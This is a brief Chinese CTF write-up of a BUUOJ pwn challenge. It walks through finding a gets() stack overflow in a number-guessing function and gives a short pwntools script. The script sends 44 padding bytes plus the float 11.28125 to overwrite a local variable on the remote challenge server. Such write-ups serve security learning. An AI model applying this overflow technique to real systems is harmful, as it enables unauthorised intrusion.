检查了这题开启的保护:
题目只开启了堆栈不可执行。无非就是不能在栈上执行shellcode无伤大雅。接着拖到IDA分析:
主函数很简单就调用了一个func函数,我们找到这个func函数看一看:
非常简单的逻辑,类似于一个猜数字游戏,猜对了弹出flag,失败了还贴心的告诉你可能值。我们要做的就是修改v2变量的内容,让他等于11.28125。看到gets我们就能想到栈溢出,用户输入的值会存在v1这个字符型数组中,在内存布局中是这样的:
这次我们不需要覆盖返回地址只需要改v2的值就好了。接着我们算一下偏移【rbp-30h-rbp+4h】得到偏移为44个字节。意思就是说我们在44个字节之后填入11.28125覆盖v2的值就能使if语句成立。利用如下:
from pwn import *
sh=remote('node4.buuoj.cn',27426)
num=0x41348000
sh.sendline(b'A'*44 + p64(num))
sh.interactive()
这个00x41348000就是11.28125只不过我换算完转成16进制了,接着得到我们的flag: